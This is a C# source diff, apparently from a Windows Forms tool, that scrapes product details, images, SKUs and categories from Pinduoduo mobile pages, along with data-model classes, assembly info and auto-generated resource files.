public ProductDtailBase Product;
public static List<long> TempIds = new List<long>();
public ProductCollectBase pb = new ProductCollectBase();
public string Name, TempHtml = "";
public bool NoAdd = false;
public PinduoduoProductCollect(string name, ProductDtailBase product)
{
Name = name;
Product = product;
}
public void Get()
{
try
{
Getx();
}
catch
{
}
}
public void Getx()
{
if (TempIds.Contains(Product.FromId) && string.IsNullOrEmpty(TempHtml))
{
return;
}
else if (!TempIds.Contains(Product.FromId))
{
TempIds.Add(Product.FromId);
}
string url = BaseClass.PddMobileUrlx + "goods.html?goods_id=" + Product.FromId;
string refere = BaseClass.PddMobileUrlx;
string html;
if (string.IsNullOrEmpty(TempHtml) || !TempHtml.Contains("catID1"))
{
Thread.Sleep(2000);
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
if (string.IsNullOrEmpty(html) || !html.Contains("catID1"))
{
Thread.Sleep(10000);
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
}
if (string.IsNullOrEmpty(html) || !html.Contains("catID1"))
{
Thread.Sleep(20000);
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
}
if (string.IsNullOrEmpty(html) || !html.Contains("catID1"))
{
Thread.Sleep(20000);
LogSave.Add(Name, "商品详细信息获取异常:" + Product.FromId);
return;
}
}
else
{
html = TempHtml;
}
pb.from = "拼多多";
pb.id = Product.FromId;
pb.from_id = Product.FromId;
LogSave.Add(Name, "获取成功:" + Product.FromId);
pb.name = BaseRegex.GetStringJson(ref html, "goodsName");
pb.name_share = BaseRegex.GetStringJson(ref html, "shareDesc");
pb.content_pinduoduo = BaseRegex.GetStringJson(ref html, "goodsDesc");
string temp = BaseRegex.GetMatchRegexString(ref html, @"""topGallery"":\[(.*?)\]");
var m = BaseRegex.GetMatchRegex(ref temp, @"""([^""]+?)""");
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
pb.Images.Add(img);
//UpPinduoduoProductSet.AddImage(img, img, 640, 640);
}
temp = BaseRegex.GetMatchRegexString(ref html, @"""detailGallery"":\[(.*?)\]");
m = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)"",""width"":([\d]+),""height"":([\d]+)");
string content = "";
for (int i = 0; i < m.Count; i++)
{
string img = m[i].Groups[1].Value.Replace("@750w_1l_50Q", "");
int width = int.Parse(m[i].Groups[2].Value);
int height = int.Parse(m[i].Groups[2].Value);
content += "<img src='" + img + "'>";
//UpPinduoduoProductSet.AddImage(img, img, width, height);
}
string strx = "\"skus\":\\[\\{\"skuID\":[\\s\\S]+?,\"hdThumbUrl\"";
var Skux = BaseRegex.GetMatchRegex(ref html, strx);
string skustr = "";
if (Skux.Count > 0)
{
skustr = Skux[0].Value;
}
//m = BaseRegex.GetMatchRegex(ref html, @"\{""skuID"".*?""\}\](.*?)\}");
m = BaseRegex.GetMatchRegex(ref skustr, "(\"skuId\":[\\s\\S]+?\"groupSkuUnitPrice\":)");
if (m.Count == 0)
{
m = BaseRegex.GetMatchRegex(ref skustr, "(\"skuId\":[\\s\\S]+?\"skuExpansionPrice\":)");
}
for (int i = 0; i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
SkuMapBase s = new SkuMapBase();
s.id = BaseRegex.GetLongJson(ref list, "skuID");
s.price = BaseRegex.GetDecimalJson(ref list, "groupPrice");
if (s.price < 1)
continue;
s.no_group_price = BaseRegex.GetDecimalJson(ref list, "normalPrice");
int num = BaseRegex.GetIntJson(ref list, "quantity");
s.number = BaseRegex.GetIntJson(ref list, "isOnSale") == 1 ? 99 : 0;
if (s.number > num)
s.number = num;
s.prop_image = BaseRegex.GetStringJson(ref list, "thumbUrl");
if (!string.IsNullOrEmpty(s.prop_image))
s.prop_image = s.prop_image.Replace("@750w_1l_50Q", "");
//UpPinduoduoProductSet.AddImage(s.prop_image, s.prop_image, 0, 0);
s.name = GetName(list, ref pb, s.prop_image);
pb.SkuMaps.Add(s);
}
pb.cat1 = BaseRegex.GetIntJson(ref html, "catID1");
pb.cat2 = BaseRegex.GetIntJson(ref html, "catID2");
pb.cat3 = BaseRegex.GetIntJson(ref html, "catID3");
Product.Cat1 = pb.cat1;
Product.Cat2 = pb.cat2;
Product.Cat3 = pb.cat3;
pb.content = content;
pb.price = Product.Price;
if (pb.price == 0 && pb.SkuMaps.Count > 0)
pb.price = pb.SkuMaps[0].price;
pb.saleCount = BaseRegex.GetIntJson(ref html, "sales");
//if (!UpPinduoduoProductSet.TaobaoProductTemp.ContainsKey(pb.from_id))
//{
// try
// {
// UpPinduoduoProductSet.TaobaoProductTemp.Add(pb.from_id, pb);
// }
// catch
// {
// }
//}
}
public string GetName(string list, ref ProductCollectBase pb, string image)
{
string temp = "";
//var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)""\}");
var m = BaseRegex.GetMatchRegex(ref list, "\"spec_key\":\"([^,]+)\",\"spec_value\":\"([^,]+)\"");
if (m.Count == 0)
{
m = BaseRegex.GetMatchRegex(ref list, "\"spec_key\":([^,]+),\"spec_value\":([^,]+)");
}
for (int i = 0; i < m.Count; i++)
{
temp += m[i].Groups[1].Value + ":" + m[i].Groups[2].Value + ";";
bool had = false;
PropBase p = new PropBase();
for (int j = 0; j < pb.Props.Count; j++)
{
if (pb.Props[j].name == m[i].Groups[1].Value)
{
had = true;
p = pb.Props[j];
break;
}
}
if (!had)
{
p = new PropBase();
p.name = m[i].Groups[1].Value;
pb.Props.Add(p);
}
had = false;
for (int j = 0; j < p.Values.Count; j++)
{
if (p.Values[j].name == m[i].Groups[2].Value)
{
p.Values[j].image = image;
p.Values[j].image_from_url = image;
had = true;
break;
}
}
if (!had)
{
PropValueBase pv = new PropValueBase();
pv.name = m[i].Groups[2].Value;
pv.image = image;
pv.image_from_url = image;
p.Values.Add(pv);
}
}
return temp;
}
}
}
+47
View File
@@ -0,0 +1,47 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class ProductDtailBase
{
public string Keyword = "";
public long FromId = 0;
public decimal Price = 0;
public decimal SaleCount = 0;
public string Titlte = "";
public int Cat1 = 0;
public int Cat2 = 0;
public int Cat3 = 0;
public int Cat4 = 0;
public int CatId = 0;
public int AddPrice = 0;
public int MainImage = 0;
public int MainCatId = 0;
public bool Uped = false;
public bool OffLine = false;
public long PinId;
public long GoodsId;
public long GoodsSn;
public long MailId;
public string FromType = "";
public string Message = "";
/// <summary>
/// 按照分类匹配过了
/// </summary>
public bool CatSame = false;
public bool Build = false;
public string ShopName = "";
public string AddTime = "";
public string UpTime = "";
public int Uv = 0;
public int Pv = 0;
public int OrderCount = 0;
public decimal UvAvgPay = 0;
public decimal SaleMoney = 0;
}
}
+36
View File
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("Work")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Work")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// 将 ComVisible 设置为 false 会使此程序集中的类型
//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("1ad45d66-6872-4522-acf0-04e2c0514048")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
//通过使用 "*",如下所示:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
+303
View File
@@ -0,0 +1,303 @@
//------------------------------------------------------------------------------
// <auto-generated>
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
// </auto-generated>
//------------------------------------------------------------------------------
namespace Work.Properties {
using System;
/// <summary>
/// 一个强类型的资源类,用于查找本地化的字符串等。
/// </summary>
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// 返回此类使用的缓存的 ResourceManager 实例。
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Work.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// 重写当前线程的 CurrentUICulture 属性,对
/// 使用此强类型资源类的所有资源查找执行重写。
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap BaseMsgErr {
get {
object obj = ResourceManager.GetObject("BaseMsgErr", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap BaseMsgInfo {
get {
object obj = ResourceManager.GetObject("BaseMsgInfo", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap BaseMsgQue {
get {
object obj = ResourceManager.GetObject("BaseMsgQue", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap btncheckoff1 {
get {
object obj = ResourceManager.GetObject("btncheckoff1", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap btncheckon1 {
get {
object obj = ResourceManager.GetObject("btncheckon1", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap close {
get {
object obj = ResourceManager.GetObject("close", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap close_hover {
get {
object obj = ResourceManager.GetObject("close.hover", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap icon {
get {
object obj = ResourceManager.GetObject("icon", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap max {
get {
object obj = ResourceManager.GetObject("max", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap max_hover {
get {
object obj = ResourceManager.GetObject("max.hover", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap min {
get {
object obj = ResourceManager.GetObject("min", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap min_hover {
get {
object obj = ResourceManager.GetObject("min.hover", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap normal {
get {
object obj = ResourceManager.GetObject("normal", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap normal_hover {
get {
object obj = ResourceManager.GetObject("normal.hover", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_2_0 {
get {
object obj = ResourceManager.GetObject("x-2.0", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_2_1 {
get {
object obj = ResourceManager.GetObject("x-2.1", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_3_0 {
get {
object obj = ResourceManager.GetObject("x-3.0", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_3_1 {
get {
object obj = ResourceManager.GetObject("x-3.1", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_4_0 {
get {
object obj = ResourceManager.GetObject("x-4.0", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_4_1 {
get {
object obj = ResourceManager.GetObject("x-4.1", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_5_0 {
get {
object obj = ResourceManager.GetObject("x-5.0", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_5_1 {
get {
object obj = ResourceManager.GetObject("x-5.1", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_6_0 {
get {
object obj = ResourceManager.GetObject("x-6.0", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap x_6_1 {
get {
object obj = ResourceManager.GetObject("x-6.1", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
}
}
+193
View File
@@ -0,0 +1,193 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="close.hover" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\close.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-6.1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-6.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="BaseMsgInfo" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\BaseMsgInfo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="min" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\min.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="normal.hover" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\normal.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-4.1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-4.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="normal" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\normal.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="btncheckoff1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\btncheckoff1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="min.hover" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\min.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-3.0" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-3.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-5.1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-5.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-5.0" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-5.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-2.0" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-2.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="BaseMsgErr" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\BaseMsgErr.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-6.0" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-6.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="max" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\max.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="close" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\close.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="BaseMsgQue" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\BaseMsgQue.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-3.1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-3.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-2.1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-2.1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="max.hover" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\max.hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="x-4.0" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\x-4.0.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="btncheckon1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\btncheckon1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
<data name="icon" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\icon.ico;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
</data>
</root>
+16
View File
@@ -0,0 +1,16 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work
{
public class ProvinceBase
{
public string name = "";
public string id = "";
public string parent_id = "";
public Dictionary<string, ProvinceBase> city = new Dictionary<string, ProvinceBase>();
}
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 948 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 956 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

+173
View File
@@ -0,0 +1,173 @@
using NaiBa.Util.Model;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.SearchSame
{
public class ProductInfo
{
/// <summary>
/// 商品Id
/// </summary>
public long ProductId { get; set; }
public string ProductUrl { get; set; }
/// <summary>
/// 商品标题
/// </summary>
public string ProductName { get; set; }
public long CategoryId { get; set; }
/// <summary>
/// 主词
/// </summary>
public string MainKeyword { get; set; }
/// <summary>
/// 副词
/// </summary>
public string ViceKeyword { get; set; }
/// <summary>
/// 裂变标题
/// </summary>
public string FissionProductName { get; set; }
public string ProductNamePrefix { get; set; }
/// <summary>
/// 商品内容
/// </summary>
public string ProductContent { get; set; }
/// <summary>
/// 商品内容不包含图片
/// </summary>
public string ProductContentWithOutImg { get; set; }
/// <summary>
/// 评分
/// </summary>
public decimal Rate { get; set; }
/// <summary>
/// 评论数
/// </summary>
public int CommentCount { get; set; }
public decimal Coupon { get; set; }
public int PromotionRate { get; set; }
/// <summary>
/// 销售数量
/// </summary>
public int SaleCount { get; set; }
public decimal FissionPrice { get; set; }
public decimal MinPrice { get; set; }
public decimal MaxPrice { get; set; }
/// <summary>
/// 返还
/// </summary>
public decimal Rebate { get; set; }
/// <summary>
/// 创建时间
/// </summary>
public DateTime CreateTime { get; set; }
/// <summary>
/// 创建人
/// </summary>
public string Creator { get; set; }
/// <summary>
/// 商品来源平台
/// </summary>
public int Platform { get; set; }
/// <summary>
/// 默认图片(存储格式的键为本地路径,值为线上路径)
/// </summary>
public List<KeyValue> DefaultImageList { get; set; }
/// <summary>
/// 规格
/// </summary>
public List<SpecInfo> SpecList { get; set; }
/// <summary>
/// Sku属性
/// </summary>
public List<SkuPropertyInfo> SkuPropertyList { get; set; }
/// <summary>
/// Sku值
/// </summary>
public List<SkuInfo> SkuList { get; set; }
/// <summary>
/// 是否加价
/// </summary>
public int AddPrice { get; set; }
